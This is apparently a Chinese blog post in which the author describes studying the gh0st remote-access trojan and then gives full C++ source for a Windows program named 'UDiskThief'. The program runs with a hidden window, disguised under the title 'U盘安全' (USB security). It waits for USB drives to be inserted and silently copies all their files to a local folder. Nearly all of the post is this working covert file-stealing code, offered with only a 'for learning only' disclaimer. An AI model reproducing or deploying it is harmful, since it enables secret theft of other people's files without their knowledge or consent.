从学习远程控制中所学所感

目的:远程访问计算机,从中获取所需要的文件,并拷贝至本地计算机。

灵感:从许多间谍窃取文件机密的程序中,获得灵感。木马病毒可以在植入“肉鸡”以后从中搜索相应文件,并远程通过互联网传送回“靶机”。

思考:因为涉及底层文件处理,选用C/C++语言进行编写。但由于之前并未接触类似知识,得一高人指路,自此得gh0st源码。开始学习之路。

从互联网上多方搜索,并对学习方案进行比对,最终选用“老狼”的gh0st课程讲解(课程中存在很多错误,而且我最想吐槽老狼的英语口语),并结合“离别歌"的“关于gh0st的学习笔记”。从中获益颇多。

学习过程之中我发现gh0st远比我需要实现的功能要强大的多,全面的学习工作量大,并且所需要的基础知识储备也更多。因此在学习的过程中,我主要取其中对于文件读写、远程传输、socket套接字和多线程处理等几个方面重点学习。这也是本文存在的原因,学习过程中多为理论与代码关系的处理。在学习完C++多线程和文件读写后,变想自己尝试一下去实现一下。也就有了本文所要描述的程序。

以下程序代码仅供学习交流使用,不得用于任何非法途径

本程序中主要实现了--读取拷贝插入电脑的U盘中的文件到电脑本地。速度是正常USB拷贝速度2倍(需要考虑usb的类型)。

因为整个拷贝程序是自动后台运行,打开电脑后,运行程序后,所有接入的U盘(移动硬盘除外)硬件中的文件都会拷贝到本机。整个过程是隐藏的。

因为写的比较仓促,没有加入异常控制和报错调试部分模块。可以自行加入Try。。。Catch模块进行控制。

代码全文:(这可能是我注释写的最明白的一次了)

#include

#include

#include  

#pragma warning(disable:4996)

using namespace std;

#include "resource.h"

//拷贝线程句柄

HANDLE g_hThreadCopy = NULL;

//拷贝到目的地路径

TCHAR g_szDestPath[MAX_PATH] = "E:\\BackUDisk";

//获取当前插入设备对应磁盘编号 A--Z

char FirstDriveFromMask(ULONG unitMask);

//判断路径是否存在

BOOL IsDirectoryExist(LPCTSTR strPath);

// 开启拷贝文件线程

HANDLE StartCopyThread(char* szRootPath);

// 停止拷贝线程函数

void StopCopyThread();

//线程拷贝函数

DWORD WINAPI CopyDataProc(LPVOID lpParam);

//拷贝指定路径下所有文件

void Copy(char *lpszSourcePath, char *lpszDestPath);

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

int WINAPI WinMain(

HINSTANCE hInstance, //当前程序运行的实例句柄,每运行一次操作系统会分配一个句柄值

HINSTANCE hPrevInstance, //当前实例的前一个实例句柄

LPSTR lpCmdLine, //命令行参数

int nCmdShow) //窗口显示方式

{

TCHAR szAppClassName[] = TEXT("UDiskThief");

WNDCLASS wndClass;

wndClass.cbClsExtra = 0;

wndClass.cbWndExtra = 0;

wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);

wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);

wndClass.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));

wndClass.hInstance = hInstance;

wndClass.lpfnWndProc = WindowProc;

wndClass.lpszClassName = szAppClassName;

wndClass.lpszMenuName = NULL;

wndClass.style = CS_VREDRAW | CS_HREDRAW;//

RegisterClass(&wndClass);

//创建窗口,窗口是通过句柄来标识

HWND hWnd = CreateWindow(szAppClassName, TEXT("U盘安全"), WS_OVERLAPPEDWINDOW, 200, 200, 300, 150, NULL, NULL, hInstance, NULL);

if (hWnd == NULL)

{

MessageBox(NULL, TEXT("创建窗口失败"), TEXT("提示"), MB_ICONERROR | MB_OK);

return 0;

}

ShowWindow(hWnd, SW_HIDE);

UpdateWindow(hWnd);

//Windows是基于消息的一种事件驱动方式的程序设计模式,比如鼠标点击,Windows会感知这个消息,

//然后将这个事件包装成一个消息,投递到应用程序的消息队列,然后应用程序从消息队列中取出这个消息,冰进行响应

MSG msg;

while (GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg); //将虚拟键消息转为字符消息

DispatchMessage(&msg); //分发消息到窗口回调函数,将消息回传给操作系统

}

return 0;

}

//窗口处理回调函数

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)

{

static PAINTSTRUCT ps;

TCHAR *pszRootPath = NULL;

switch (uMsg)

{

case WM_PAINT:

{

EndPaint(hWnd, &ps);

}

return TRUE;

case WM_CLOSE:

DestroyWindow(hWnd);

break;

case WM_DESTROY:

delete[] pszRootPath;//释放内存

PostQuitMessage(0);

break;

case WM_DEVICECHANGE:

/*

DBT_DEVICEARRIVAL: 已插入计算机,并且可以使用

DBT_DEVICEQUERYREMOVE:请求删除设备的权限,任何应用程序可以拒绝此请求并取消删除。

DBT_DEVICEQUERYREMOVEFAILED:请求删除设备已被取消。

DBT_DEVICEREMOVEPENDING:设备即将被删除,不能被拒绝。

DBT_DEVICEREMOVECOMPLETE:设备已被删除。

DBT_DEVICETYPESPECIFIC:特定于设备的事件

DBT_CONFIGCHANGED:当前配置已更改。

DBT_DEVNODES_CHANGED:计算机节点已更改。

*/

switch (wParam)

{

//已插入计算机,并且可以使用

case DBT_DEVICEARRIVAL:

{

//lParam 指向结构体的指针,标识插入的设备

/*

typedef struct _DEV_BROADCAST_HDR {

DWORD dbch_size;//这个结构的大小,以字节为单位。

DWORD dbch_devicetype; //设备类型;为2:表示逻辑卷。 DBT_DEVTYP_VOLUME

DWORD dbch_reserved;

} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

*/

DEV_BROADCAST_HDR* lpdb = (DEV_BROADCAST_HDR*)lParam;

//既然是逻辑卷,获取盘符名称

/*

typedef struct _DEV_BROADCAST_VOLUME {

DWORD dbcv_size;//这个结构的大小

DWORD dbcv_devicetype;//设备类型; DBT_DEVTYP_VOLUME

DWORD dbcv_reserved; //系统保留; 不使用。

DWORD dbcv_unitmask; //标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。

WORD  dbcv_flags;  //标志组合 (DBTF_MEDIA:更改影响驱动器中的介质。DBTF_NET:指示逻辑卷是一个网络卷。)

} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;

*/

DEV_BROADCAST_VOLUME* lpdbv = (DEV_BROADCAST_VOLUME*)lpdb;

char chDisk = FirstDriveFromMask(lpdbv->dbcv_unitmask);

pszRootPath = new TCHAR[MAX_PATH];

sprintf(pszRootPath, "%c:", chDisk);

//判断驱动器类型 可移动设备

if (DRIVE_REMOVABLE == GetDriveType(pszRootPath))

{

Sleep(500);

//创建开始复制线程

g_hThreadCopy = StartCopyThread(pszRootPath);

}

return TRUE;

}

//设备已被删除

case DBT_DEVICEREMOVECOMPLETE:

StopCopyThread();

return TRUE;

}

return TRUE;

}

return DefWindowProc(hWnd, uMsg, wParam, lParam);

}

// 获取当前插入设备对应磁盘编号 A--Z

/*

标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。

位0表示驱动器A,位1表示驱动器B,依此类推。

*/

char FirstDriveFromMask(ULONG unitMask)

{

/*

位运算:

& 按位与 如果两个相应的二进制位都为1,则该位的结果值为1,否则为0

| 按位或 两个相应的二进制位中只要有一个为1,该位的结果值为1

^ 按位异或 若参加运算的两个二进制位值相同则为0,否则为1

~ 按位取反 ~是一元运算符,用来对一个二进制数按位取反,即将0变1,将1变0

<< 左移 低位补0

>> 右移 向右移动后,正数的话  高位补0,负数补1

*/

char i;

for (i = 0; i < 32; i++)

{

if (unitMask & 1)

break;

unitMask = unitMask >> 1;

}

return i + 'A';

}

//判断目录是否存在

BOOL IsDirectoryExist(LPCTSTR lpszPath)

{

//获取指定文件或目录的文件系统属性。失败返回:INVALID_FILE_ATTRIBUTES

DWORD dwFileAttr = ::GetFileAttributes(lpszPath);

if (dwFileAttr == INVALID_FILE_ATTRIBUTES)

return FALSE;

if (dwFileAttr & FILE_ATTRIBUTE_DIRECTORY)

return TRUE;

else

return FALSE;

}

// 开启拷贝文件线程

HANDLE StartCopyThread(char* szRootPath)

{

StopCopyThread();

//在主线程的基础上创建一个新线程

return CreateThread(

NULL, //线程安全属性

NULL, //堆栈的初始大小(以字节为单位)。 如果为0,则新线程使用可执行文件的默认大小。

CopyDataProc, //线程函数的起始地址

szRootPath, //传递给线程的参数指针

NULL, //线程创建标识

NULL); //线程ID

}

// 停止拷贝线程函数

void StopCopyThread()

{

if (g_hThreadCopy)

{

CloseHandle(g_hThreadCopy);

g_hThreadCopy = NULL;

}

}

//线程拷贝函数

DWORD WINAPI CopyDataProc(LPVOID lpParam)

{

char *szRootPath = (char*)lpParam;

//开始复制

Copy(szRootPath, g_szDestPath);

StopCopyThread();

return 0;

}

//拷贝指定路径下所有文件

void Copy(char *lpszSourcePath, char *lpszDestPath)

{

//拷贝到目的地,判断路径是否存在

if (!IsDirectoryExist(lpszDestPath))

{

//创建路径

SECURITY_ATTRIBUTES sa = { 0 };

CreateDirectory(lpszDestPath, &sa);

}

//查找到的所有类型的文件*.*

TCHAR szSourceFindPath[MAX_PATH];

strcpy(szSourceFindPath, lpszSourcePath);

strcat(szSourceFindPath, "\\*.*");     //文件名可以包括通配符,例如星号(*)或问号(?)。

WIN32_FIND_DATA FindFileData = { 0 }; //存储文件或目录的信息

/*

查找文件

第一个参数:路径或者文件名。 文件名可以包括通配符,例如星号(*)或问号(?)。

第二个参数:指向WIN32_FIND_DATA结构的指针,该结构接收有关找到的文件或目录的信息。

*/

HANDLE hFinder = ::FindFirstFile(szSourceFindPath, &FindFileData);

if (INVALID_HANDLE_VALUE == hFinder)

{

return;

}

while (TRUE)

{

if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)

{

//如果为文件夹 包括. 或者..

if (FindFileData.cFileName[0] != '.')

{

//递归的来源路径

TCHAR szSourcePath[MAX_PATH];

strcpy(szSourcePath, lpszSourcePath);

strcat(szSourcePath, "\\");

strcat(szSourcePath, FindFileData.cFileName);

//存储到本地磁盘路径

TCHAR szDestPath[MAX_PATH];

strcpy(szDestPath, lpszDestPath);

strcat(szDestPath, "\\");

strcat(szDestPath, FindFileData.cFileName);

//递归调用

Copy(szSourcePath, szDestPath);

}

}

else

{

//新的文件

char szNewFileName[MAX_PATH];

char szUsbFileName[MAX_PATH];

sprintf(szNewFileName, "%s\\%s", lpszDestPath, FindFileData.cFileName);

sprintf(szUsbFileName, "%s\\%s", lpszSourcePath, FindFileData.cFileName);

CopyFile(szUsbFileName, szNewFileName, TRUE);

}

if (!FindNextFile(hFinder, &FindFileData))

break;

}

FindClose(hFinder);

}

本文章仅供学习交流使用,程序有可能被杀软误杀。我也不知道为什么。不过我以前写的程序,也常被误杀。。。

你可能感兴趣的:(从学习远程控制中所学所感)